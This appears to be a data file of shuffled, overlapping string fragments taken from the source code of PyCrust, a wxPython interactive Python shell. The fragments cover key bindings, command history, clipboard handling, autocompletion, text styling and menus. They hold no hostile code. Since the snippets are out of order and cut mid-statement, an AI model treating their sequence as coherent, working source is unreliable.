"ps2size = len(ps2) # This is a total hack job, but it works.",
"'Delete the selection') m.Append(wxID_SELECTALL, 'Select A&ll', 'Select all text') m = self.autocompMenu =",
"previous command and then press F9.) \"\"\" def help(self): \"\"\"Display some useful information",
"= wxMenu() m.AppendSeparator() m.Append(wxID_ABOUT, '&About...', 'About PyCrust') b = self.menuBar = wxMenuBar() b.Append(self.fileMenu,",
"of the BSD # license included in enthought/LICENSE.txt and may be redistributed only",
"Go to the very bottom of the text. endpos = self.GetTextLength() self.SetCurrentPos(endpos) command",
"os.linesep) command = self.lstripPrompt(text=command) data = wxTextDataObject(command) if wxTheClipboard.Open(): wxTheClipboard.SetData(data) wxTheClipboard.Close() def CopyWithPrompts(self):",
"a replacement for stdin. self.reader = PseudoFileIn(self.readline) self.reader.input = '' self.reader.isreading = 0",
"necessarily be valid Python syntax.\"\"\" if not text: text = self.GetCurLine()[0] # Strip",
"ps2 = str(sys.ps2) ps2size = len(ps2) # This is a total hack job,",
"# Allow the normal event handling to take place. event.Skip() def OnKeyDown(self, event):",
"# Return (Enter) is used to submit a command to the interpreter. if",
"key in (ord('V'), ord('v')): self.PasteAndRun() # Replace with the previous command from the",
"self.interp.getAutoCompleteKeys() # Keep track of the last non-continuation prompt positions. self.promptPosStart = 0",
"The command may not necessarily be valid Python syntax.\"\"\" if not text: text",
"None # Add the current working directory \".\" to the search path. sys.path.insert(0,",
"# Versions of wxPython prior to 2.3.2 had a sizing bug on Win",
"have something interesting. shellLocals = {'__name__': 'PyCrust-Shell', '__doc__': 'PyCrust-Shell, The PyCrust Python Shell.',",
"to a status bar. print(text) def insertLineBreak(self): \"\"\"Insert a new line break.\"\"\" if",
"os.linesep.join(chunks) text = os.linesep.join(lines) return text def prompt(self): \"\"\"Display appropriate prompt for the",
"Run shell methods silently. self.run(command, prompt=0, verbose=0) else: self.run(command, prompt=0, verbose=1) finally: file.close()",
"Description: <Enthought util package component> #------------------------------------------------------------------------------ \"\"\"The PyCrust Shell is an interactive text",
"Prevent modification of previously submitted commands/responses. if not self.CanEdit(): return key = event.KeyCode()",
"\"\"\"Extract a multi-line command from the editor. The command may not necessarily be",
"EVT_MENU(self, ID_AUTOCOMP_INCLUDE_DOUBLE, \\ self.OnAutoCompleteIncludeDouble) EVT_MENU(self, ID_CALLTIPS_SHOW, \\ self.OnCallTipsShow) EVT_UPDATE_UI(self, wxID_UNDO, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_REDO,",
"PseudoFileIn(self.readline) self.reader.input = '' self.reader.isreading = 0 # Set up the interpreter. self.interp",
"the search path. sys.path.insert(0, os.curdir) # Import a default interpreter class if one",
"part of builtins. This simply sets \"close\", \"exit\" and \"quit\" to a helpful",
"retrieve the previous command, decremented as you retrieve the # next, and reset",
"Do this last so the user has complete control over their # environment.",
"of previously submitted commands/responses. if not self.CanEdit(): return key = event.KeyCode() currpos =",
"The command may not necessarily be valid Python syntax.\"\"\" # XXX Need to",
"prompt, \\ 'Input Dialog (Raw)', '') try: if dialog.ShowModal() == wxID_OK: text =",
"# Keep track of the last non-continuation prompt positions. self.promptPosStart = 0 self.promptPosEnd",
"in the history. self.history = [] self.historyIndex = -1 self.historyPrefix = 0 #",
"have prompts. if rstrip: command = command.rstrip() return command def lstripPrompt(self, text): \"\"\"Return",
"newindex <= len(history): self.historyIndex = newindex if 0 <= newindex <= len(history)-1: command",
"# The font was 2 points too large. So we need to reduce",
"= self.GetCurrentPos() stoppos = self.promptPosEnd # Return (Enter) needs to be ignored in",
"= 1 self.CallTipSetBackground(wxColour(255, 255, 232)) self.wrap() try: self.SetEndAtLastLine(false) except AttributeError: pass def showIntro(self,",
"The following handlers modify text, so we need to see if there #",
"selection and place it on the clipboard.\"\"\" if self.CanCut() and self.CanCopy(): if self.AutoCompActive():",
"self.crust.filling.fillingTree tree.showDoc = event.IsChecked() tree.update() def OnFillingShowModule(self, event): tree = self.crust.filling.fillingTree tree.showModule =",
"for handler in self.handlers: handler() self.prompt() def addHistory(self, command): \"\"\"Add command to the",
"= wxNewId() ID_AUTOCOMP_SHOW = wxNewId() ID_AUTOCOMP_INCLUDE_MAGIC = wxNewId() ID_AUTOCOMP_INCLUDE_SINGLE = wxNewId() ID_AUTOCOMP_INCLUDE_DOUBLE =",
"self.promptPosEnd def Cut(self): \"\"\"Remove selection and place it on the clipboard.\"\"\" if self.CanCut()",
"the user hit Enter.\"\"\" # The user hit ENTER and we need to",
"to reduce the font size. if (wxMAJOR_VERSION, wxMINOR_VERSION, wxRELEASE_NUMBER) < (2, 3, 2):",
"'redirectStdin', 'redirectStdout', 'run', 'runfile', 'wrap', 'zoom', ] for method in methods: self.__dict__[method] =",
"'E&xit', 'Exit PyCrust') m = self.editMenu = wxMenu() m.Append(wxID_UNDO, '&Undo \\tCtrl+Z', 'Undo the",
"'runfile', 'wrap', 'zoom', ] for method in methods: self.__dict__[method] = getattr(other, method) d",
"PythonObject on the # clipboard is really just a signal to grab the",
"def getMultilineCommand(self, rstrip=1): \"\"\"Extract a multi-line command from the editor. The command may",
"self.GetCurrentLine() while text[:ps2size] == ps2 and line > 0: line -= 1 self.GotoLine(line)",
"len(ps2) # Strip the prompt off the front of text. if text[:ps1size] ==",
"if OnKeyDown calls event.Skip() for the corresponding event.\"\"\" # Prevent modification of previously",
"wxStyledTextCtrl. The latest files are always available at the SourceForge project page at",
"40) self.SetLexer(wxSTC_LEX_PYTHON) self.SetKeyWords(0, ' '.join(keyword.kwlist)) self.setStyles(faces) self.SetViewWhiteSpace(0) self.SetTabWidth(4) self.SetUseTabs(0) # Do we want",
"character to the end of the command. command = self.GetTextRange(stoppos, currpos) if command",
"entered. self.historyIndex # is the current position in the history; it gets incremented",
"ID_AUTOCOMP_INCLUDE_DOUBLE, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_CALLTIPS_SHOW, self.OnUpdateMenu) if hasattr( self, 'crust' ): EVT_MENU(self, ID_FILLING_AUTO_UPDATE, self.OnFillingAutoUpdate)",
"clipboard, run commands. elif controlDown and shiftDown \\ and key in (ord('V'), ord('v')):",
"def write(self, text): \"\"\"Display text in the shell. Replace line endings with OS-specific",
"2): faces['size'] -= 2 faces['lnsize'] -= 2 else: # GTK faces = {",
": 9, 'backcol': '#FFFFFF', } # Versions of wxPython prior to 2.3.2 had",
"one we've found. self.ReplaceSelection(command[len(searchText):]) endpos = self.GetCurrentPos() self.SetSelection(endpos, startpos) # We've now warped",
"\"\") self.StyleSetSpec(wxSTC_P_STRING, \"fore:#7F007F,face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_P_CHARACTER, \"fore:#7F007F,face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_P_WORD, \"fore:#00007F,bold\") self.StyleSetSpec(wxSTC_P_TRIPLE, \"fore:#7F0000\")",
"WXK_ESCAPE: if self.CallTipActive(): event.Skip() else: self.clearCommand() # Cut to the clipboard. elif (controlDown",
"the latest prompt. elif key == WXK_DELETE: if self.CanEdit(): event.Skip() elif key ==",
"prompt=1, verbose=1): \"\"\"Execute command within the shell as if it was typed in",
"user's PYTHONSTARTUP script if they have one.\"\"\" if startupScript and os.path.isfile(startupScript): startupText =",
"#*** Patch to fix bug in wxSTC for wxPython < 2.3.3. if charAfter",
"self.getCommand(rstrip=0) n = len(prefix) if n > 0: self.historyMatches = matches = []",
"item = item.replace( '\\n', '\\\\n' ) if (prefix == item[:len(prefix)]) and item not",
"self.CanEdit(): return startpos = self.GetCurrentPos() self.replaceFromHistory(step) endpos = self.GetCurrentPos() self.SetSelection(endpos, startpos) def OnHistorySearch(self):",
"'\\n') command = command.replace('\\n', os.linesep + sys.ps2) self.write(command) if wxTheClipboard.IsSupported(PythonObject) and \\ self.python_obj_paste_handler",
"% sys.platform dialog = wxMessageDialog(self, text, title, wxOK | wxICON_INFORMATION) dialog.ShowModal() dialog.Destroy() def",
"command += line commands.append(command) for command in commands: command = command.replace('\\n', os.linesep +",
"command if the 'Enter' key was pressed: key = event.GetKey() if key ==",
"with line endings replaced by OS-specific endings.\"\"\" lines = text.split('\\r\\n') for l in",
"a space. #*** styleBefore = self.GetStyleAt(caretPos - 1) # Check before. if charBefore",
"self.replaceFromHistory(step) endpos = self.GetCurrentPos() self.SetSelection(endpos, startpos) def OnHistorySearch(self): \"\"\"Search up the history buffer",
"items. (Type a few characters of a previous command and then press F9.)",
"transposition. elif controlDown and key in (ord('T'), ord('t')): pass # Basic navigation keys",
"are always available at the SourceForge project page at http://sourceforge.net/projects/pycrust/. Sponsored by Orbtech",
"if not self.more: self.promptPosStart = self.GetCurrentPos() if not skip: self.write(prompt) if not self.more:",
"not self.more: self.promptPosEnd = self.GetCurrentPos() # Keep the undo feature from undoing previous",
"try: if dialog.ShowModal() == wxID_OK: text = dialog.GetValue() return text finally: dialog.Destroy() return",
"os.linesep) command = command.replace(os.linesep + sys.ps1, os.linesep) command = self.lstripPrompt(text=command) data = wxTextDataObject(command)",
"Good enough for now but later we want to send a close event.",
"name) else: raise AttributeError(name) def __setattr__(self, name, value): if name in self.__dict__: self.__dict__[name]",
"the current, unexecuted command. elif key == WXK_ESCAPE: if self.CallTipActive(): event.Skip() else: self.clearCommand()",
"self.historyIndex = newindex if 0 <= newindex <= len(history)-1: command = history[self.historyIndex] command",
"WXK_INSERT): self.Copy() # Copy to the clipboard, including prompts. elif controlDown and shiftDown",
"self.interp.more = 0 command = self.GetTextRange(startpos, endpos) lines = command.split(os.linesep + sys.ps2) lines",
"self.CallTipActive: self.CallTipCancel() self.Copy() self.ReplaceSelection('') def Copy(self): \"\"\"Copy selection and place it on the",
"self.autoCallTipShow(command) else: # Allow the normal event handling to take place. event.Skip() def",
"faces['size'] -= 2 faces['lnsize'] -= 2 else: # GTK faces = { 'times'",
"their # environment. They can override anything they want. try: self.execStartupScript(self.interp.startupScript) except: pass",
"controlDown and shiftDown \\ and key in (ord('V'), ord('v')): self.PasteAndRun() # Replace with",
"history[self.historyIndex] command = command.replace('\\n', os.linesep + sys.ps2) self.ReplaceSelection(command) def OnHistoryInsert(self, step): \"\"\"Insert the",
"lines = [line.rstrip() for line in lines] command = '\\n'.join(lines) if self.reader.isreading: if",
"= event.IsChecked() tree.update() def OnFillingShowDict(self, event): tree = self.crust.filling.fillingTree tree.showDict = event.IsChecked() tree.update()",
"def replaceFromHistory(self, step, history=None): \"\"\"Replace selection with command from the history buffer.\"\"\" self.ReplaceSelection('')",
"working directory \".\" to the search path. sys.path.insert(0, os.curdir) # Import a default",
"prompt(self): \"\"\"Display appropriate prompt for the context, either ps1, ps2 or ps3. If",
"response:'): \"\"\"Get response from the user using a dialog box.\"\"\" dialog = wxTextEntryDialog(None,",
"with text prior to the prompt. elif selecting and key not in NAVKEYS",
"self.replaceFromHistory(step, self.historyMatches) def replaceFromHistory(self, step, history=None): \"\"\"Replace selection with command from the history",
"shell. Replace line endings with OS-specific endings.\"\"\" text = self.fixLineEndings(text) self.AddText(text) self.EnsureCaretVisible() def",
"methods silently. self.run(command, prompt=0, verbose=0) else: self.run(command, prompt=0, verbose=1) finally: file.close() def autoCompleteShow(self,",
"tree = self.crust.filling.fillingTree tree.showMethods = event.IsChecked() tree.update() def OnFillingShowClass(self, event): tree = self.crust.filling.fillingTree",
"pass # Add 'shell' to the interpreter's local namespace. try: self.setLocalShell() except: pass",
"accessible, even though only some are visible to the user.\"\"\" name = 'PyCrust",
"self.more: self.promptPosStart = self.GetCurrentPos() if not skip: self.write(prompt) if not self.more: self.promptPosEnd =",
"self.OnHistorySelected) # Configure various defaults and user preferences. self.config() # Display the introductory",
"not shiftDown \\ and key in (ord('V'), ord('v'))) \\ or (shiftDown and not",
"= wxNewId() ID_FILLING_SHOW_MODULE = wxNewId() class ShellMenu: \"\"\"Mixin class to add standard menu",
"break. elif controlDown and key == WXK_RETURN: if self.AutoCompActive(): self.AutoCompCancel() if self.CallTipActive(): self.CallTipCancel()",
"AttributeError(name) def _getAttributeNames(self): \"\"\"Return list of magic attributes to extend introspection.\"\"\" list =",
"str(sys.ps1) ps1size = len(ps1) ps2 = str(sys.ps2) ps2size = len(ps2) # This is",
"# to do something more interesting, like write to a status bar. print(text)",
"Default style self.StyleSetSpec(wxSTC_STYLE_DEFAULT, \"face:%(mono)s,size:%(size)d,back:%(backcol)s\" % faces) self.StyleClearAll() # Built in styles self.StyleSetSpec(wxSTC_STYLE_LINENUMBER, \"back:#C0C0C0,face:%(mono)s,size:%(lnsize)d\"",
"be redistributed only # under the conditions described in the aforementioned license. The",
"NAVKEYS: event.Skip() # Protect the readonly portion of the shell. elif not self.CanEdit():",
"the command history. Commands are added into the front of # the list",
"m.Append(wxID_ABOUT, '&About...', 'About PyCrust') b = self.menuBar = wxMenuBar() b.Append(self.fileMenu, '&File') b.Append(self.editMenu, '&Edit')",
"\"this\"') >>> print \"this\" this >>> \"\"\" # Go to the very bottom",
"style) # Grab these so they can be restored by self.redirect* methods. self.stdin",
"tree.showDoc = event.IsChecked() tree.update() def OnFillingShowModule(self, event): tree = self.crust.filling.fillingTree tree.showModule = event.IsChecked()",
"'Enter' key was pressed: key = event.GetKey() if key == 28 or key",
"command = self.GetSelectedText() command = command.replace(os.linesep + sys.ps2, os.linesep) command = command.replace(os.linesep +",
"if one isn't provided. if InterpClass == None: from PyCrust.interpreter import Interpreter else:",
"caretPos = self.GetCurrentPos() if caretPos > 0: charBefore = self.GetCharAt(caretPos - 1) #***",
"key == WXK_F8: self.OnHistorySearch() # Show all history entries that match the command",
"if prompt: self.prompt() if verbose: self.write(command) self.push(command) def runfile(self, filename): \"\"\"Execute all commands",
"Exp $\" __revision__ = \"$Revision: 1.2 $\"[11:-2] from wx.wx import * from wx.stc",
"'\\\\n' ) if (prefix == item[:len(prefix)]) and item not in items: items.append(item) self.UserListShow(1,",
"self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_PASTE, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_CLEAR, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_SHOW, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_INCLUDE_MAGIC, self.OnUpdateMenu)",
"application.' def quit(self): \"\"\"Quit the application.\"\"\" # XXX Good enough for now but",
"if not selecting and not shiftDown: self.SetAnchor(home) self.EnsureCaretVisible() else: event.Skip() # # The",
"return self.GetCurrentPos() >= self.promptPosEnd def Cut(self): \"\"\"Remove selection and place it on the",
"def OnSelectAll(self, event): self.shell.SelectAll() def OnAbout(self, event): \"\"\"Display an About PyCrust window.\"\"\" import",
"== WXK_ESCAPE: if self.CallTipActive(): event.Skip() else: self.clearCommand() # Cut to the clipboard. elif",
"is also available online at http://www.enthought.com/licenses/BSD.txt # Thanks for using Enthought open source!",
"locals so we have something interesting. shellLocals = {'__name__': 'PyCrust-Shell', '__doc__': 'PyCrust-Shell, The",
"application.\"\"\" # XXX Good enough for now but later we want to send",
"wxNewId() ID_CALLTIPS_SHOW = wxNewId() ID_FILLING = wxNewId() ID_FILLING_AUTO_UPDATE = wxNewId() ID_FILLING_SHOW_METHODS = wxNewId()",
"history. Commands are added into the front of # the list (ie. at",
"self.historyShow() else: self.insertLineBreak() # If the auto-complete window is up let it do",
"**kwds) # Find out for which keycodes the interpreter will autocomplete. self.autoCompleteKeys =",
"+ step if -1 <= newindex <= len(history): self.historyIndex = newindex if 0",
"non-continuation prompt positions. self.promptPosStart = 0 self.promptPosEnd = 0 # Keep track of",
"text = data.GetText() text = text.strip() text = self.fixLineEndings(text) text = self.lstripPrompt(text=text) text",
"# Process the command if the 'Enter' key was pressed: key = event.GetKey()",
"these so they can be restored by self.redirect* methods. self.stdin = sys.stdin self.stdout",
"None: history = self.history newindex = self.historyIndex + step if -1 <= newindex",
"b = self.menuBar = wxMenuBar() b.Append(self.fileMenu, '&File') b.Append(self.editMenu, '&Edit') b.Append(self.optionsMenu, '&Options') b.Append(self.helpMenu, '&Help')",
"charBefore = self.GetCharAt(caretPos - 1) #*** Patch to fix bug in wxSTC for",
"auto completion. # Get the command between the prompt and the cursor. #",
"the prompt off the front of text. if text[:ps1size] == ps1: text =",
"self.run(command, prompt=0, verbose=0) else: self.run(command, prompt=0, verbose=1) finally: file.close() def autoCompleteShow(self, command): \"\"\"Display",
"= 1 self.autoCompleteIncludeDouble = 1 self.autoCompleteCaseInsensitive = 1 self.AutoCompSetIgnoreCase(self.autoCompleteCaseInsensitive) self.AutoCompSetSeparator(ord('\\n')) # Do we",
"command = command.rstrip() command = self.fixLineEndings(command) command = self.lstripPrompt(text=command) command = command.replace(os.linesep +",
"data.GetText() text = text.strip() text = self.fixLineEndings(text) text = self.lstripPrompt(text=text) text = text.replace(os.linesep",
"command): \"\"\"Display auto-completion popup list.\"\"\" list = self.interp.getAutoCompleteList(command, includeMagic=self.autoCompleteIncludeMagic, includeSingle=self.autoCompleteIncludeSingle, includeDouble=self.autoCompleteIncludeDouble) if list:",
"startupScript self.push('print %s;execfile(%s)' % \\ ('startupText', 'startupScript')) else: self.push('') def setStyles(self, faces): \"\"\"Configure",
"copied.\"\"\" return self.GetSelectionStart() != self.GetSelectionEnd() def CanPaste(self): \"\"\"Return true if a paste should",
"self.OnUpdateUI) EVT_STC_USERLISTSELECTION(self, id, self.OnHistorySelected) # Configure various defaults and user preferences. self.config() #",
"\"face:%(mono)s,size:%(size)d,back:%(backcol)s\" % faces) self.StyleClearAll() # Built in styles self.StyleSetSpec(wxSTC_STYLE_LINENUMBER, \"back:#C0C0C0,face:%(mono)s,size:%(lnsize)d\" % faces) self.StyleSetSpec(wxSTC_STYLE_CONTROLCHAR,",
"m.AppendSeparator() m.Append(wxID_CUT, 'Cu&t \\tCtrl+X', 'Cut the selection') m.Append(wxID_COPY, '&Copy \\tCtrl+C', 'Copy the selection')",
"OnCopy(self, event): self.shell.Copy() def OnPaste(self, event): self.shell.Paste() def OnClear(self, event): self.shell.Clear() def OnSelectAll(self,",
"is used to insert a line break. elif controlDown and key == WXK_RETURN:",
"tip and cancels # an active auto completion. if self.AutoCompActive(): self.AutoCompCancel() # Get",
">= self.promptPosEnd: return 1 else: return 0 else: return self.GetCurrentPos() >= self.promptPosEnd def",
"# We've now warped into middle of the history. self.historyIndex = i break",
"the user.\"\"\" name = 'PyCrust Shell Interface' revision = __revision__ def __init__(self, other):",
"wxID_PASTE, self.OnPaste) EVT_MENU(self, wxID_CLEAR, self.OnClear) EVT_MENU(self, wxID_SELECTALL, self.OnSelectAll) EVT_MENU(self, wxID_ABOUT, self.OnAbout) EVT_MENU(self, ID_AUTOCOMP_SHOW,",
"Mimic a space. #*** styleAfter = self.GetStyleAt(caretPos) if charAfter and chr(charAfter) in '[]{}()'",
"prompts. Ctrl+Shift+C Copy selected text, retaining prompts. Ctrl+X Cut selected text. Ctrl+V Paste",
"various defaults and user preferences. self.config() # Display the introductory banner information. try:",
"the readonly portion of the shell. elif not self.CanEdit(): pass else: event.Skip() def",
"# the user hits return without entering a value. command = '\\n' self.reader.input",
"not self.CanEdit(): return startpos = self.GetCurrentPos() self.replaceFromHistory(step) endpos = self.GetCurrentPos() self.SetSelection(endpos, startpos) def",
"points too large. So we need to reduce the font size. if (wxMAJOR_VERSION,",
"the command. command = self.GetTextRange(stoppos, currpos) if command == '': self.historyShow() else: command",
"selecting and self.CanEdit(): event.Skip() elif currpos > self.promptPosEnd: event.Skip() # Only allow these",
"the event and let the surrounding app # decide what it wants to",
"key == WXK_DELETE): self.Cut() # Copy to the clipboard. elif controlDown and not",
"event): self.shell.SelectAll() def OnAbout(self, event): \"\"\"Display an About PyCrust window.\"\"\" import sys title",
"it works. text = self.GetCurLine()[0] line = self.GetCurrentLine() while text[:ps2size] == ps2 and",
"methods = ['ask', 'clear', 'pause', 'prompt', 'quit', 'redirectStderr', 'redirectStdin', 'redirectStdout', 'run', 'runfile', 'wrap',",
"All rights reserved. # # This software is provided without warranty under the",
"Copy to the clipboard. elif controlDown and not shiftDown \\ and key in",
"= None caretPos = self.GetCurrentPos() if caretPos > 0: charBefore = self.GetCharAt(caretPos -",
"\\ and styleBefore == wxSTC_P_OPERATOR: braceAtCaret = caretPos - 1 # Check after.",
"this version of PyCrust.' def zoom(self, points=0): \"\"\"Set the zoom level. This number",
"= self.GetCurrentPos() endpos = self.GetTextLength() selecting = self.GetSelectionStart() != self.GetSelectionEnd() # Return (Enter)",
"prompt. The command may not necessarily be valid Python syntax.\"\"\" if not text:",
"self.__dict__ d['other'] = other d['helpText'] = \\ \"\"\" * Key bindings: Home Go",
"F9 Pop-up window of matching History items. (Type a few characters of a",
"not selecting and not shiftDown: self.SetAnchor(home) self.EnsureCaretVisible() else: event.Skip() # # The following",
"some useful information about how to use the shell.\"\"\" self.write(self.helpText) def __getattr__(self, name):",
"= self.GetCurrentPos() self.SetSelection(endpos, startpos) def OnHistorySearch(self): \"\"\"Search up the history buffer for the",
"self.prompt() try: while not reader.input: wxYield() input = reader.input finally: reader.input = ''",
"of the command. command = self.GetTextRange(stoppos, currpos) if command == '': self.historyShow() else:",
"succeed.\"\"\" if self.CanEdit() and \\ (wxStyledTextCtrl.CanPaste(self) or \\ wxTheClipboard.IsSupported(PythonObject)): return 1 else: return",
">= self.promptPosEnd def Cut(self): \"\"\"Remove selection and place it on the clipboard.\"\"\" if",
"always available at the SourceForge project page at http://sourceforge.net/projects/pycrust/. Sponsored by Orbtech -",
"in '[]{}()' \\ and styleAfter == wxSTC_P_OPERATOR: braceAtCaret = caretPos if braceAtCaret >=",
"self.historyIndex = -1 self.historyPrefix = 0 # Insert this command into the history,",
"'Helvetica', 'other' : 'new century schoolbook', 'size' : 12, 'lnsize' : 10, 'backcol':",
"%s;execfile(%s)' % \\ ('startupText', 'startupScript')) else: self.push('') def setStyles(self, faces): \"\"\"Configure font size,",
"we need to decide what to do. They could be # sitting on",
"a new line break.\"\"\" if self.CanEdit(): self.write(os.linesep) self.more = 1 self.prompt() def processLine(self):",
"to the interpreter's local namespace. try: self.setLocalShell() except: pass # Do this last",
"= self.BraceMatch(braceAtCaret) if braceAtCaret != -1 and braceOpposite == -1: self.BraceBadLight(braceAtCaret) else: self.BraceHighlight(braceAtCaret,",
"# is the current position in the history; it gets incremented as you",
"other): \"\"\"Create a ShellFacade instance.\"\"\" methods = ['ask', 'clear', 'pause', 'prompt', 'quit', 'redirectStderr',",
"self, 'crust' ): EVT_MENU(self, ID_FILLING_AUTO_UPDATE, self.OnFillingAutoUpdate) EVT_MENU(self, ID_FILLING_SHOW_METHODS, self.OnFillingShowMethods) EVT_MENU(self, ID_FILLING_SHOW_CLASS, self.OnFillingShowClass) EVT_MENU(self,",
"and key in (ord('N'), ord('n'))): self.OnHistoryReplace(step=-1) # Insert the previous command from the",
"self.prompt() if verbose: self.write(command) self.push(command) def runfile(self, filename): \"\"\"Execute all commands in file",
"an invalid one). if self.getCommand(rstrip=0): command = self.getMultilineCommand() self.clearCommand() self.write(command) # Otherwise, put",
"- Your source for Python programming expertise.\"\"\" from __future__ import print_function __author__ =",
"= event.GetText() if command.find('\\\\n') >= 0: command += '\\\\n' command = command.replace( '\\\\n',",
"The text up to the cursor is what we search for. numCharsAfterCursor =",
"from the shell.\"\"\" self.ClearAll() def run(self, command, prompt=1, verbose=1): \"\"\"Execute command within the",
"else: return 0 def CanEdit(self): \"\"\"Return true if editing should succeed.\"\"\" if self.GetSelectionStart()",
"'' and line.lstrip() == line: # New command. if command: # Add the",
"next command from the history buffer. elif (shiftDown and key == WXK_DOWN) and",
"magic here if more. if self.more: self.write(' '*4) # Temporary hack indentation. self.EnsureCaretVisible()",
"self.fileMenu = wxMenu() m.AppendSeparator() m.Append(wxID_EXIT, 'E&xit', 'Exit PyCrust') m = self.editMenu = wxMenu()",
"event. # In the close event handler we can make sure they want",
"for l in range(len(lines)): chunks = lines[l].split('\\r') for c in range(len(chunks)): chunks[c] =",
"then press F8.) F9 Pop-up window of matching History items. (Type a few",
"a PythonObject on the # clipboard is really just a signal to grab",
"#*** Patch to fix bug in wxSTC for wxPython < 2.3.3. if charBefore",
"are still accessible, even though only some are visible to the user.\"\"\" name",
"self.write(command) # Otherwise, put the cursor back where we started. else: self.SetCurrentPos(thepos) self.SetAnchor(thepos)",
"self.OnCallTipsShow) EVT_UPDATE_UI(self, wxID_UNDO, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_REDO, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_CUT, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_COPY, self.OnUpdateMenu)",
"current, unexecuted command.\"\"\" startpos = self.promptPosEnd endpos = self.GetTextLength() self.SetSelection(startpos, endpos) self.ReplaceSelection('') self.more",
"self.write(completions[0][len(command):]) else: self.AutoCompShow(len(command), '\\n'.join(completions)) return 1 def writeOut(self, text): \"\"\"Replacement for stdout.\"\"\" self.write(text)",
"current working directory \".\" to the search path. sys.path.insert(0, os.curdir) # Import a",
"write(self, text): \"\"\"Display text in the shell. Replace line endings with OS-specific endings.\"\"\"",
"lines] command = '\\n'.join(lines) if self.reader.isreading: if not command: # Match the behavior",
"def redirectStdout(self, redirect=1): \"\"\"If redirect is true then sys.stdout will go to the",
"between insert mode and overwrite mode. elif key == WXK_INSERT: pass # Don't",
"% faces) self.StyleSetSpec(wxSTC_P_COMMENTLINE, \"fore:#007F00,face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_P_NUMBER, \"\") self.StyleSetSpec(wxSTC_P_STRING, \"fore:#7F007F,face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_P_CHARACTER,",
"self.getMultilineCommand() self.clearCommand() self.write(command) # Otherwise, put the cursor back where we started. else:",
"if self.more: self.write(' '*4) # Temporary hack indentation. self.EnsureCaretVisible() self.ScrollToColumn(0) def readline(self): \"\"\"Replacement",
"The PyCrust Python Shell.', '__version__': VERSION, } # Add the dictionary that was",
"break def setStatusText(self, text): \"\"\"Display status information.\"\"\" # This method will most likely",
"self.reader.isreading: if not command: # Match the behavior of the standard Python shell",
"other command. else: # If the line contains a command (even an invalid",
"self.GetSelectionStart() != self.GetSelectionEnd() # Return (Enter) is used to submit a command to",
"# Keep the undo feature from undoing previous responses. self.EmptyUndoBuffer() # XXX Add",
"faces = { 'times' : 'Times', 'mono' : 'Courier', 'helv' : 'Helvetica', 'other'",
"= -1 self.historyPrefix = 0 # Assign handlers for keyboard events. EVT_KEY_DOWN(self, self.OnKeyDown)",
">= self.promptPosEnd \\ and self.GetSelectionEnd() >= self.promptPosEnd: return 1 else: return 0 else:",
"= wxTextDataObject() if wxTheClipboard.GetData(data): self.ReplaceSelection('') command = data.GetText() command = command.rstrip() command =",
"six.moves.builtins.quit = \\ 'Click on the close button to leave the application.' def",
"# # Author: Enthought, Inc. # Description: <Enthought util package component> #------------------------------------------------------------------------------ \"\"\"The",
"} class ShellFacade: \"\"\"Simplified interface to all shell-related functionality. This is a semi-transparent",
"10, 'lnsize' : 9, 'backcol': '#FFFFFF', } # Versions of wxPython prior to",
"line endings replaced by OS-specific endings.\"\"\" lines = text.split('\\r\\n') for l in range(len(lines)):",
"\"quit\" to a helpful string. \"\"\" import six.moves.builtins six.moves.builtins.close = six.moves.builtins.exit = six.moves.builtins.quit",
"six.moves.builtins.exit = six.moves.builtins.quit = \\ 'Click on the close button to leave the",
"is a selection that includes text prior to the prompt. # # Don't",
"self.reader.input = '' self.reader.isreading = 0 # Set up the interpreter. self.interp =",
"Previous History item. Ctrl+Down Arrow Retrieve Next History item. Alt+N Retrieve Next History",
"command.\"\"\" startpos = self.promptPosEnd endpos = self.GetTextLength() self.SetSelection(startpos, endpos) self.ReplaceSelection('') self.more = 0",
"\"\"\"Return text with line endings replaced by OS-specific endings.\"\"\" lines = text.split('\\r\\n') for",
"\\tCtrl+Y', 'Redo the last undone action') m.AppendSeparator() m.Append(wxID_CUT, 'Cu&t \\tCtrl+X', 'Cut the selection')",
"http://sourceforge.net/projects/pycrust/. Sponsored by Orbtech - Your source for Python programming expertise.\"\"\" from __future__",
"information. try: self.showIntro(introText) except: pass # Assign some pseudo keywords to the interpreter's",
"not searchText: return # Search upwards from the current history position and loop",
"be positive to magnify or negative to reduce.\"\"\" self.SetZoom(points) wxID_SELECTALL = wxNewId() ID_AUTOCOMP",
"# Configure various defaults and user preferences. self.config() # Display the introductory banner",
"of History item. (Type a few characters of a previous command and then",
"InterpClass # Create default locals so we have something interesting. shellLocals = {'__name__':",
"try: self.setLocalShell() except: pass # Do this last so the user has complete",
"readline(self): \"\"\"Replacement for stdin.readline().\"\"\" input = '' reader = self.reader reader.isreading = 1",
"tip: curpos = self.GetCurrentPos() tippos = curpos - (len(name) + 1) fallback =",
"size of all fonts. It may be positive to magnify or negative to",
"== wxID_COPY: event.Enable(self.shell.CanCopy()) elif id == wxID_PASTE: event.Enable(self.shell.CanPaste()) elif id == wxID_CLEAR: event.Enable(self.shell.CanCut())",
"len(ps1) ps2 = str(sys.ps2) ps2size = len(ps2) # This is a total hack",
"# Paste from the clipboard, run commands. elif controlDown and shiftDown \\ and",
"== ID_FILLING_SHOW_CLASS: event.Check(self.crust.filling.fillingTree.showClass) elif id == ID_FILLING_SHOW_DICT: event.Check(self.crust.filling.fillingTree.showDict) elif id == ID_FILLING_SHOW_DOC: event.Check(self.crust.filling.fillingTree.showDoc)",
"response from the user using a dialog box.\"\"\" dialog = wxTextEntryDialog(None, prompt, \\",
"prompt: self.prompt() if verbose: self.write(command) self.push(command) def runfile(self, filename): \"\"\"Execute all commands in",
"found. self.ReplaceSelection(command[len(searchText):]) endpos = self.GetCurrentPos() self.SetSelection(endpos, startpos) # We've now warped into middle",
"'' for line in lines: if line.strip() != '' and line.lstrip() == line:",
